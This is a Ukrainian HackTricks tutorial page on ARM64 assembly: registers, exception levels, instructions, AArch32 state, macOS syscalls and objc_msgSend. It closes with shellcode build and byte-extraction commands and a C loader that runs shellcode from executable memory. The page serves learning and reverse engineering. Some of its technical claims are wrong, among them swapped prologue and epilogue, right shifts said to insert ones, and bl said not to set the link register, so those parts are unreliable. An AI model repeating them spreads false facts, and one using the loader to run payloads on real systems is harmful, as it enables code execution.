Вступ до ARM64v8

Reading time: 33 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Рівні виключень - EL (ARM64v8)

У архітектурі ARMv8 рівні виконання, відомі як Рівні виключень (EL), визначають рівень привілеїв та можливості середовища виконання. Є чотири рівні виключень, від EL0 до EL3, кожен з яких виконує різну функцію:

  1. EL0 - Режим користувача:
  • Це найменш привілейований рівень, який використовується для виконання звичайного коду додатків.
  • Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, що підвищує безпеку та стабільність.
  1. EL1 - Режим ядра операційної системи:
  • Більшість ядер операційних систем працюють на цьому рівні.
  • EL1 має більше привілеїв, ніж EL0, і може отримувати доступ до системних ресурсів, але з деякими обмеженнями для забезпечення цілісності системи.
  1. EL2 - Режим гіпервізора:
  • Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у своєму EL1), що працюють на одному фізичному апаратному забезпеченні.
  • EL2 надає функції для ізоляції та контролю віртуалізованих середовищ.
  1. EL3 - Режим безпечного монітора:
  • Це найпривілейованіший рівень, який часто використовується для безпечного завантаження та довірених середовищ виконання.
  • EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (такими як безпечне завантаження, довірена ОС тощо).

Використання цих рівнів дозволяє структуровано та безпечно управляти різними аспектами системи, від користувацьких додатків до найпривілейованішого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи.

Реєстри (ARM64v8)

ARM64 має 31 загальний реєстр, позначений x0 до x30. Кожен може зберігати 64-бітне (8-байтове) значення. Для операцій, які вимагають лише 32-бітних значень, ті ж реєстри можуть бути доступні в 32-бітному режимі, використовуючи назви w0 до w30.

  1. x0 до x7 - Ці реєстри зазвичай використовуються як тимчасові реєстри та для передачі параметрів підпрограмам.
  • x0 також несе дані повернення функції.
  1. x8 - У ядрі Linux x8 використовується як номер системного виклику для інструкції svc. У macOS використовується x16!
  2. x9 до x15 - Більше тимчасових реєстрів, часто використовуються для локальних змінних.
  3. x16 та x17 - Реєстри внутрішньопроцедурного виклику. Тимчасові реєстри для негайних значень. Вони також використовуються для непрямих викликів функцій та PLT (таблиці зв'язків процедур).
  • x16 використовується як номер системного виклику для інструкції svc в macOS.
  1. x18 - Реєстр платформи. Може використовуватися як загальний реєстр, але на деяких платформах цей реєстр зарезервований для специфічних для платформи використань: вказівник на блок середовища поточного потоку в Windows або вказівник на структуру виконуваного завдання в ядрі linux.
  2. x19 до x28 - Це реєстри, збережені викликом. Функція повинна зберігати значення цих реєстрів для свого виклику, тому вони зберігаються в стеку та відновлюються перед поверненням до виклику.
  3. x29 - Вказівник кадру для відстеження кадру стеку. Коли створюється новий кадр стеку через виклик функції, реєстр x29 зберігається в стеку, а адреса нового вказівника кадру (адреса sp) зберігається в цьому реєстрі.
  • Цей реєстр також може використовуватися як загальний реєстр, хоча зазвичай використовується як посилання на локальні змінні.
  1. x30 або lr - Реєстр зв'язку. Він містить адресу повернення, коли виконується інструкція BL (перехід з посиланням) або BLR (перехід з посиланням на реєстр), зберігаючи значення pc в цьому реєстрі.
  • Його також можна використовувати як будь-який інший реєстр.
  • Якщо поточна функція збирається викликати нову функцію і, отже, перезаписати lr, вона спочатку зберігає його в стеку, це епілог (stp x29, x30 , [sp, #-48]; mov x29, sp -> Зберегти fp та lr, створити простір і отримати новий fp) і відновлює його в кінці, це пролог (ldp x29, x30, [sp], #48; ret -> Відновити fp та lr і повернутися).
  1. sp - Вказівник стеку, використовується для відстеження верхньої частини стеку.
  • Значення sp завжди повинно зберігатися принаймні з вирівнюванням quadword, інакше може виникнути виняток вирівнювання.
  1. pc - Лічильник програми, який вказує на наступну інструкцію. Цей реєстр може бути оновлений лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей реєстр, - це переходи з посиланням (BL, BLR), щоб зберегти адресу pc в lr (реєстр зв'язку).
  2. xzr - Нульовий реєстр. Також називається wzr у його 32-бітній формі. Може використовуватися для отримання нульового значення (звичайна операція) або для виконання порівнянь за допомогою subs, таких як subs XZR, Xn, #10, зберігаючи результуючі дані нікуди (в xzr).

Реєстри Wn є 32-бітною версією реєстрів Xn.

SIMD та плаваючі реєстри

Крім того, є ще 32 реєстри довжиною 128 біт, які можуть використовуватися в оптимізованих операціях з одноразовими інструкціями (SIMD) та для виконання арифметики з плаваючою комою. Вони називаються реєстрами Vn, хоча вони також можуть працювати в 64-бітному, 32-бітному, 16-бітному та 8-бітному режимах, і тоді їх називають Qn, Dn, Sn, Hn та Bn.

Системні реєстри

Є сотні системних реєстрів, також відомих як спеціалізовані реєстри (SPRs), які використовуються для моніторингу та контролю поведінки процесорів.
Вони можуть бути прочитані або встановлені лише за допомогою спеціальних інструкцій mrs та msr.

Спеціальні реєстри TPIDR_EL0 та TPIDDR_EL0 зазвичай зустрічаються під час реверс-інжинірингу. Суфікс EL0 вказує на мінімальне виключення, з якого реєстр може бути доступний (в цьому випадку EL0 - це звичайний рівень виключення (привілеїв), з яким працюють звичайні програми).
Вони часто використовуються для зберігання базової адреси регіону пам'яті локального зберігання потоку. Зазвичай перший з них є читабельним і записуваним для програм, що працюють на EL0, але другий може бути прочитаний з EL0 і записаний з EL1 (як ядро).

  • mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 в x0
  • msr TPIDR_EL0, X0 ; Записати x0 в TPIDR_EL0

PSTATE

PSTATE містить кілька компонентів процесу, серіалізованих у видимому для операційної системи SPSR_ELx спеціальному реєстрі, де X - це рівень дозволу викликаного виключення (це дозволяє відновити стан процесу, коли виключення закінчується).
Це доступні поля:

  • Умовні прапори N, Z, C та V:
  • N означає, що операція дала негативний результат.
  • Z означає, що операція дала нуль.
  • C означає, що операція перенесла.
  • V означає, що операція дала підписане переповнення:
  • Сума двох позитивних чисел дає негативний результат.
  • Сума двох негативних чисел дає позитивний результат.
  • У відніманні, коли велике негативне число віднімається від меншого позитивного числа (або навпаки), і результат не може бути представленим у межах заданого розміру біта.
  • Очевидно, процесор не знає, чи операція підписана чи ні, тому він перевіряє C та V в операціях і вказує, чи відбулося перенесення у випадку, якщо це було підписане або без підпису.

warning

Не всі інструкції оновлюють ці прапори. Деякі, такі як CMP або TST, роблять це, а інші, які мають суфікс s, такі як ADDS, також це роблять.

  • Поточний прапор ширини реєстра (nRW): Якщо прапор має значення 0, програма буде виконуватися в стані виконання AArch64 після відновлення.
  • Поточний рівень виключення (EL): Звичайна програма, що працює на EL0, матиме значення 0.
  • Прапор одиночного кроку (SS): Використовується відладчиками для одиночного кроку, встановлюючи прапор SS в 1 всередині SPSR_ELx через виключення. Програма виконає крок і видасть виключення одиночного кроку.
  • Прапор недопустимого виключення (IL): Використовується для позначення, коли привілейоване програмне забезпечення виконує недопустимий перехід на рівень виключення, цей прапор встановлюється в 1, і процесор викликає виключення недопустимого стану.
  • Прапори DAIF: Ці прапори дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
  • Якщо A дорівнює 1, це означає, що будуть викликані асинхронні перерви. I налаштовує відповідь на зовнішні запити переривань (IRQ). а F пов'язаний з швидкими запитами переривань (FIR).
  • Прапори вибору вказівника стеку (SPS): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням свого власного реєстру вказівника стеку та реєстром моделі користувача (наприклад, між SP_EL1 та EL0). Це перемикання виконується шляхом запису в спеціальний реєстр SPSel. Це не можна зробити з EL0.

Конвенція виклику (ARM64v8)

Конвенція виклику ARM64 вказує, що перші вісім параметрів до функції передаються в реєстрах x0 до x7. Додаткові параметри передаються на стек. Значення повернення передається назад у реєстр x0, або в x1, якщо воно довжиною 128 біт. Реєстри x19 до x30 та sp повинні бути збережені під час викликів функцій.

Коли читаєте функцію в асемблері, шукайте пролог та епілог функції. Пролог зазвичай включає збереження вказівника кадру (x29), налаштування нового вказівника кадру та виділення простору в стеку. Епілог зазвичай включає відновлення збереженого вказівника кадру та повернення з функції.

Конвенція виклику в Swift

Swift має свою власну конвенцію виклику, яку можна знайти в https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Звичайні інструкції (ARM64v8)

Інструкції ARM64 зазвичай мають формат opcode dst, src1, src2, де opcode - це операція, що виконується (така як add, sub, mov тощо), dst - це реєстр призначення, куди буде збережено результат, а src1 та src2 - це реєстри джерела. Негайні значення також можуть використовуватися замість реєстрів джерела.

  • mov: Перемістити значення з одного реєстру в інший.

  • Приклад: mov x0, x1 — Це переміщує значення з x1 в x0.

  • ldr: Завантажити значення з пам'яті в реєстр.

  • Приклад: ldr x0, [x1] — Це завантажує значення з пам'яті, на яку вказує x1, в x0.

  • Режим зсуву: Зсув, що впливає на початковий вказівник, вказується, наприклад:

  • ldr x2, [x1, #8], це завантажить в x2 значення з x1 + 8

  • ldr x2, [x0, x1, lsl #2], це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) * 4

  • Режим попереднього індексу: Це застосує обчислення до початкового, отримає результат і також зберігає новий початок у початковому.

  • ldr x2, [x1, #8]!, це завантажить x1 + 8 в x2 і зберігає в x1 результат x1 + 8

  • str lr, [sp, #-4]!, Зберегти реєстр зв'язку в sp і оновити реєстр sp

  • Режим постіндексу: Це схоже на попередній, але адреса пам'яті спочатку доступна, а потім зсув обчислюється та зберігається.

  • ldr x0, [x1], #8, завантажити x1 в x0 і оновити x1 з x1 + 8

  • Адресація відносно PC: У цьому випадку адреса для завантаження обчислюється відносно реєстру PC

  • ldr x1, =_start, Це завантажить адресу, де символ _start починається в x1, відносно поточного PC.

  • str: Зберегти значення з реєстру в пам'ять.

  • Приклад: str x0, [x1] — Це зберігає значення в x0 в пам'яті, на яку вказує x1.

  • ldp: Завантажити пару реєстрів. Ця інструкція завантажує два реєстри з послідовних адрес пам'яті. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі.

  • Приклад: ldp x0, x1, [x2] — Це завантажує x0 та x1 з пам'яті за адресами x2 та x2 + 8, відповідно.

  • stp: Зберегти пару реєстрів. Ця інструкція зберігає два реєстри в послідовні адреси пам'яті. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі.

  • Приклад: stp x0, x1, [sp] — Це зберігає x0 та x1 в пам'яті за адресами sp та sp + 8, відповідно.

  • stp x0, x1, [sp, #16]! — Це зберігає x0 та x1 в пам'яті за адресами sp+16 та sp + 24, відповідно, і оновлює sp з sp+16.

  • add: Додати значення двох реєстрів і зберегти результат у реєстрі.

  • Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Призначення

  • Xn2 -> Операнд 1

  • Xn3 | #imm -> Операнд 2 (реєстр або негайне)

  • [shift #N | RRX] -> Виконати зсув або виклик RRX

  • Приклад: add x0, x1, x2 — Це додає значення в x1 та x2 разом і зберігає результат в x0.

  • add x5, x5, #1, lsl #12 — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000

  • adds Це виконує add і оновлює прапори.

  • sub: Відняти значення двох реєстрів і зберегти результат у реєстрі.

  • Перевірте add синтаксис.

  • Приклад: sub x0, x1, x2 — Це віднімає значення в x2 від x1 і зберігає результат в x0.

  • subs Це схоже на sub, але оновлює прапор.

  • mul: Помножити значення двох реєстрів і зберегти результат у реєстрі.

  • Приклад: mul x0, x1, x2 — Це множить значення в x1 та x2 і зберігає результат в x0.

  • div: Поділити значення одного реєстру на інше і зберегти результат у реєстрі.

  • Приклад: div x0, x1, x2 — Це ділить значення в x1 на x2 і зберігає результат в x0.

  • lsl, lsr, asr, ror, rrx:

  • Логічний зсув вліво: Додає 0 з кінця, переміщуючи інші біти вперед (множить на n разів 2).

  • Логічний зсув вправо: Додає 1 на початку, переміщуючи інші біти назад (ділить на n разів 2 в беззнаковому вигляді).

  • Арифметичний зсув вправо: Як lsr, але замість додавання 0, якщо найзначніший біт - 1, додаються 1 (ділить на n разів 2 в знаковому вигляді).

  • Зсув вправо з розширенням: Як ror, але з прапором перенесення як "найзначнішим бітом". Тобто прапор перенесення переміщується до біта 31, а видалений біт - до прапора перенесення.

  • bfm: Переміщення бітового поля, ці операції копіюють біти 0...n з значення та розміщують їх у позиціях m..m+n. #s вказує на найлівішу позицію біта, а #r - на кількість зсуву вправо.

  • Переміщення бітового поля: BFM Xd, Xn, #r

  • Переміщення знакового бітового поля: SBFM Xd, Xn, #r, #s

  • Переміщення беззнакового бітового поля: UBFM Xd, Xn, #r, #s

  • Витягування та вставка бітового поля: Копіює бітове поле з одного реєстру та копіює його в інший реєстр.

  • BFI X1, X2, #3, #4 Вставляє 4 біти з X2 з 3-го біта X1.

  • BFXIL X1, X2, #3, #4 Витягує з 3-го біта X2 чотири біти та копіює їх в X1.

  • SBFIZ X1, X2, #3, #4 Розширює знак 4 біт з X2 та вставляє їх в X1, починаючи з позиції біта 3, обнуляючи праві біти.

  • SBFX X1, X2, #3, #4 Витягує 4 біти, починаючи з біта 3 з X2, розширює їх, і поміщає результат в X1.

  • UBFIZ X1, X2, #3, #4 Нульове розширення 4 біт з X2 та вставка їх в X1, починаючи з позиції біта 3, обнуляючи праві біти.

  • UBFX X1, X2, #3, #4 Витягує 4 біти, починаючи з біта 3 з X2, і поміщає нульове розширене значення в X1.

  • Розширення знака до X: Розширює знак (або просто додає 0 в беззнаковій версії) значення, щоб мати можливість виконувати з ним операції:

  • SXTB X1, W2 Розширює знак байта з W2 до X1 (W2 є половиною X2) для заповнення 64 біт.

  • SXTH X1, W2 Розширює знак 16-бітного числа з W2 до X1 для заповнення 64 біт.

  • SXTW X1, W2 Розширює знак байта з W2 до X1 для заповнення 64 біт.

  • UXTB X1, W2 Додає 0 (беззнакове) до байта з W2 до X1 для заповнення 64 біт.

  • extr: Витягує біти з вказаної пари реєстрів, що конкатенуються.

  • Приклад: EXTR W3, W2, W1, #3 Це конкатенує W1+W2 і отримує з біта 3 W2 до біта 3 W1 і зберігає в W3.

  • cmp: Порівняти два реєстри та встановити умови прапорів. Це псевдонім subs, встановлюючи реєстр призначення на нульовий реєстр. Корисно знати, чи m == n.

  • Підтримує той же синтаксис, що й subs.

  • Приклад: cmp x0, x1 — Це порівнює значення в x0 та x1 і відповідно встановлює умови прапорів.

  • cmn: Порівняти негативний операнд. У цьому випадку це псевдонім adds і підтримує той же синтаксис. Корисно знати, чи m == -n.

  • ccmp: Умовне порівняння, це порівняння, яке буде виконано лише якщо попереднє порівняння було істинним і спеціально встановить біти nzcv.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> якщо x1 != x2 і x3 < x4, перейти до func.

  • Це тому, що ccmp буде виконано лише якщо попереднє cmp було NE, якщо ні, біти nzcv будуть встановлені в 0 (що не задовольнить порівняння blt).

  • Це також може використовуватися як ccmn (те ж саме, але негативне, як cmp проти cmn).

  • tst: Перевіряє, чи є будь-які з значень порівняння обидва 1 (працює як ANDS без зберігання результату десь). Корисно перевірити реєстр з значенням і перевірити, чи будь-які біти реєстру, вказані в значенні, є 1.

  • Приклад: tst X1, #7 Перевірити, чи є будь-які з останніх 3 бітів X1 1.

  • teq: Операція XOR, що ігнорує результат.

  • b: Безумовний перехід.

  • Приклад: b myFunction.

  • Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад).

  • bl: Перехід з посиланням, використовується для виклику підпрограми. Зберігає адресу повернення в x30.

  • Приклад: bl myFunction — Це викликає функцію myFunction і зберігає адресу повернення в x30.

  • Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад).

  • blr: Перехід з посиланням на реєстр, використовується для виклику підпрограми, де ціль вказана в реєстрі. Зберігає адресу повернення в x30. (Це

  • Приклад: blr x1 — Це викликає функцію, адреса якої міститься в x1, і зберігає адресу повернення в x30.

  • ret: Повернення з підпрограми, зазвичай використовуючи адресу в x30.

  • Приклад: ret — Це повертає з поточної підпрограми, використовуючи адресу повернення в x30.

  • b.<cond>: Умовні переходи.

  • b.eq: Перехід, якщо рівно, на основі попередньої інструкції cmp.

  • Приклад: b.eq label — Якщо попередня інструкція cmp знайшла два рівні значення, це переходить до label.

  • b.ne: Перехід, якщо не рівно. Ця інструкція перевіряє умови прапорів (які були встановлені попередньою інструкцією порівняння), і якщо порівняні значення не були рівні, вона переходить до мітки або адреси.

  • Приклад: Після інструкції cmp x0, x1, b.ne label — Якщо значення в x0 та x1 не рівні, це переходить до label`.

  • cbz: Порівняти та перейти на нуль. Ця інструкція порівнює реєстр з нулем, і якщо вони рівні, переходить до мітки або адреси.

  • Приклад: cbz x0, label — Якщо значення в x0 нульове, це переходить до label.

  • cbnz: Порівняти та перейти на ненульове. Ця інструкція порівнює реєстр з нулем, і якщо вони не рівні, переходить до мітки або адреси.

  • Приклад: cbnz x0, label — Якщо значення в x0 ненульове, це переходить до label.

  • tbnz: Перевірити біт і перейти на ненульове.

  • Приклад: tbnz x0, #8, label.

  • tbz: Перевірити біт і перейти на нуль.

  • Приклад: tbz x0, #8, label.

  • Умовні вибіркові операції: Це операції, поведінка яких змінюється в залежності від умовних бітів.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Якщо істинно, X0 = X1, якщо хибно, X0 = X2.

  • csinc Xd, Xn, Xm, cond -> Якщо істинно, Xd = Xn, якщо хибно, Xd = Xm + 1.

  • cinc Xd, Xn, cond -> Якщо істинно, Xd = Xn + 1, якщо хибно, Xd = Xn.

  • csinv Xd, Xn, Xm, cond -> Якщо істинно, Xd = Xn, якщо хибно, Xd = NOT(Xm).

  • cinv Xd, Xn, cond -> Якщо істинно, Xd = NOT(Xn), якщо хибно, Xd = Xn.

  • csneg Xd, Xn, Xm, cond -> Якщо істинно, Xd = Xn, якщо хибно, Xd = - Xm.

  • cneg Xd, Xn, cond -> Якщо істинно, Xd = - Xn, якщо хибно, Xd = Xn.

  • cset Xd, Xn, Xm, cond -> Якщо істинно, Xd = 1, якщо хибно, Xd = 0.

  • csetm Xd, Xn, Xm, cond -> Якщо істинно, Xd = <всі 1>, якщо хибно, Xd = 0.

  • adrp: Обчислити адресу сторінки символу та зберегти її в реєстрі.

  • Приклад: adrp x0, symbol — Це обчислює адресу сторінки символу symbol і зберігає її в x0.

  • ldrsw: Завантажити підписане 32-бітне значення з пам'яті та розширити його до 64 біт.

  • Приклад: ldrsw x0, [x1] — Це завантажує підписане 32-бітне значення з пам'яті, на яку вказує x1, розширює його до 64 біт і зберігає в x0.

  • stur: Зберегти значення реєстру в адресі пам'яті, використовуючи зсув з іншого реєстру.

  • Приклад: stur x0, [x1, #4] — Це зберігає значення в x0 в пам'яті, адреса якої на 4 байти більша, ніж адреса, що зараз в x1.

  • svc : Зробити системний виклик. Це означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він перемикається з режиму користувача в режим ядра і переходить до певного місця в пам'яті, де знаходиться код обробки системних викликів ядра.

  • Приклад:

armasm
mov x8, 93  ; Завантажити номер системного виклику для виходу (93) в реєстр x8.
mov x0, 0   ; Завантажити код статусу виходу (0) в реєстр x0.
svc 0       ; Зробити системний виклик.

Пролог функції

  1. Зберегти реєстр зв'язку та вказівник кадру в стек:
armasm
stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Встановіть новий вказівник кадру: mov x29, sp (встановлює новий вказівник кадру для поточної функції)
  2. Виділіть місце в стеку для локальних змінних (якщо потрібно): sub sp, sp, <size> (де <size> - це кількість байтів, що потрібні)

Епілог функції

  1. Звільніть локальні змінні (якщо вони були виділені): add sp, sp, <size>
  2. Відновіть регістр посилання та вказівник кадру:
armasm
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Return: ret (повертає управління виклику, використовуючи адресу в регістрі посилань)

AARCH32 Execution State

Armv8-A підтримує виконання 32-бітних програм. AArch32 може працювати в одному з двох наборів інструкцій: A32 та T32 і може перемикатися між ними через interworking.
Привілейовані 64-бітні програми можуть планувати виконання 32-бітних програм, виконуючи передачу рівня виключення на нижчий привілейований 32-біт.
Зверніть увагу, що перехід з 64-біт на 32-біт відбувається знижуючи рівень виключення (наприклад, 64-бітна програма в EL1 викликає програму в EL0). Це робиться шляхом встановлення біта 4 спеціального регістру SPSR_ELx в 1, коли потік процесу AArch32 готовий до виконання, а решта SPSR_ELx зберігає AArch32 програми CPSR. Потім привілейований процес викликає інструкцію ERET, щоб процесор перейшов до AArch32, входячи в A32 або T32 в залежності від CPSR**.**

interworking відбувається за допомогою бітів J та T CPSR. J=0 та T=0 означає A32, а J=0 та T=1 означає T32. Це в основному означає встановлення найнижчого біта в 1, щоб вказати, що набір інструкцій є T32.
Це встановлюється під час інструкцій переходу interworking, але також може бути встановлено безпосередньо з іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:

Ще один приклад:

armasm
_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Регістри

Є 16 32-бітних регістрів (r0-r15). Від r0 до r14 їх можна використовувати для будь-якої операції, однак деякі з них зазвичай зарезервовані:

  • r15: Лічильник програми (завжди). Містить адресу наступної інструкції. У A32 поточний + 8, у T32, поточний + 4.
  • r11: Вказівник кадру
  • r12: Регістр виклику всередині процедури
  • r13: Вказівник стеку
  • r14: Регістр посилання

Більше того, регістри зберігаються в банківських реєстрах. Це місця, які зберігають значення регістрів, що дозволяє виконувати швидке перемикання контексту під час обробки виключень і привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри щоразу.
Це робиться шляхом збереження стану процесора з CPSR до SPSR режиму процесора, в якому виникає виключення. Під час повернення з виключення, CPSR відновлюється з SPSR.

CPSR - Реєстр поточного статусу програми

У AArch32 CPSR працює подібно до PSTATE в AArch64 і також зберігається в SPSR_ELx під час виникнення виключення для подальшого відновлення виконання:

Поля поділені на кілька груп:

  • Реєстр статусу програми (APSR): Арифметичні прапори та доступні з EL0
  • Реєстри стану виконання: Поведінка процесу (керується ОС).

Реєстр статусу програми (APSR)

  • Прапори N, Z, C, V (так само, як в AArch64)
  • Прапор Q: Встановлюється в 1 щоразу, коли відбувається насичення цілих чисел під час виконання спеціалізованої арифметичної інструкції з насиченням. Як тільки він встановлений на 1, він зберігатиме значення, поки його не встановлять вручну на 0. Більше того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно робити, читаючи його вручну.
  • Прапори GE (Більше або дорівнює): Використовуються в SIMD (Одна інструкція, кілька даних) операціях, таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.

Наприклад, інструкція UADD8 додає чотири пари байтів (з двох 32-бітних операндів) паралельно та зберігає результати в 32-бітному регістрі. Потім вона встановлює прапори GE в APSR на основі цих результатів. Кожен прапор GE відповідає одному з додавань байтів, вказуючи, чи відбулося переповнення для цієї пари байтів.

Інструкція SEL використовує ці прапори GE для виконання умовних дій.

Реєстри стану виконання

  • Біти J та T: J має бути 0, і якщо T дорівнює 0, використовується набір інструкцій A32, а якщо 1, використовується T32.
  • Реєстр стану блоку IT (ITSTATE): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом IT.
  • Біти E: Вказують на порядок байтів.
  • Біти маски режиму та виключення (0-4): Вони визначають поточний стан виконання. 5-й вказує, чи програма працює в 32-бітному (1) або 64-бітному (0) режимі. Інші 4 представляють режим виключення, що використовується в даний момент (коли виникає виключення і його обробляють). Встановлене число вказує на поточний пріоритет у разі, якщо виникає інше виключення під час обробки цього.
  • AIF: Деякі виключення можуть бути вимкнені за допомогою бітів A, I, F. Якщо A дорівнює 1, це означає, що асинхронні аборти будуть викликані. I налаштовує відповідь на зовнішні апаратні Запити переривань (IRQ). а F пов'язаний з Швидкими запитами переривань (FIR).

macOS

BSD системні виклики

Перегляньте syscalls.master. BSD системні виклики матимуть x16 > 0.

Mach Traps

Перегляньте в syscall_sw.c mach_trap_table та в mach_traps.h прототипи. Максимальна кількість Mach traps дорівнює MACH_TRAP_TABLE_COUNT = 128. Mach traps матимуть x16 < 0, тому вам потрібно викликати номери з попереднього списку з мінусом: _kernelrpc_mach_vm_allocate_trap дорівнює -10.

Ви також можете перевірити libsystem_kernel.dylib в дизасемблері, щоб дізнатися, як викликати ці (та BSD) системні виклики:

bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Зверніть увагу, що Ida та Ghidra також можуть декомпілювати конкретні dylibs з кешу, просто передавши кеш.

tip

Іноді легше перевірити декомпільований код з libsystem_kernel.dylib ніж перевіряти джерельний код, оскільки код кількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в джерельному коді), тоді як у dylib ви можете знайти, що викликається.

machdep виклики

XNU підтримує ще один тип викликів, званий залежними від машини. Кількість цих викликів залежить від архітектури, і ні виклики, ні числа не гарантовано залишаться постійними.

comm page

Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного процесу користувача. Вона призначена для того, щоб зробити перехід з режиму користувача в простір ядра швидшим, ніж використання системних викликів для служб ядра, які використовуються настільки часто, що цей перехід був би дуже неефективним.

Наприклад, виклик gettimeofdate читає значення timeval безпосередньо зі сторінки комунікації.

objc_msgSend

Цю функцію дуже часто можна знайти в програмах на Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.

Параметри (більше інформації в документації):

  • x0: self -> Вказівник на екземпляр
  • x1: op -> Селектор методу
  • x2... -> Інші аргументи викликаного методу

Отже, якщо ви поставите точку зупинки перед переходом до цієї функції, ви зможете легко знайти, що викликається в lldb (в цьому прикладі об'єкт викликає об'єкт з NSConcreteTask, який виконає команду):

bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

tip

Встановивши змінну середовища NSObjCMessageLoggingEnabled=1, можна записувати, коли ця функція викликається у файлі, наприклад, /tmp/msgSends-pid.

Більше того, встановивши OBJC_HELP=1 та викликавши будь-який бінар, ви можете побачити інші змінні середовища, які ви могли б використовувати для логування певних дій Objc-C.

Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляра, для цього проводяться різні пошуки:

  • Виконати оптимістичний пошук у кеші:
  • Якщо успішно, завершити
  • Отримати runtimeLock (читання)
  • Якщо (realize && !cls->realized) реалізувати клас
  • Якщо (initialize && !cls->initialized) ініціалізувати клас
  • Спробувати власний кеш класу:
  • Якщо успішно, завершити
  • Спробувати список методів класу:
  • Якщо знайдено, заповнити кеш і завершити
  • Спробувати кеш суперкласу:
  • Якщо успішно, завершити
  • Спробувати список методів суперкласу:
  • Якщо знайдено, заповнити кеш і завершити
  • Якщо (resolver) спробувати резолвер методу і повторити з пошуку класу
  • Якщо все ще тут (= все інше не вдалося) спробувати форвардер

Shellcodes

Щоб скомпілювати:

bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Щоб витягти байти:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Для новіших версій macOS:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C код для тестування shellcode
c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Взято з тут та пояснено.

armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
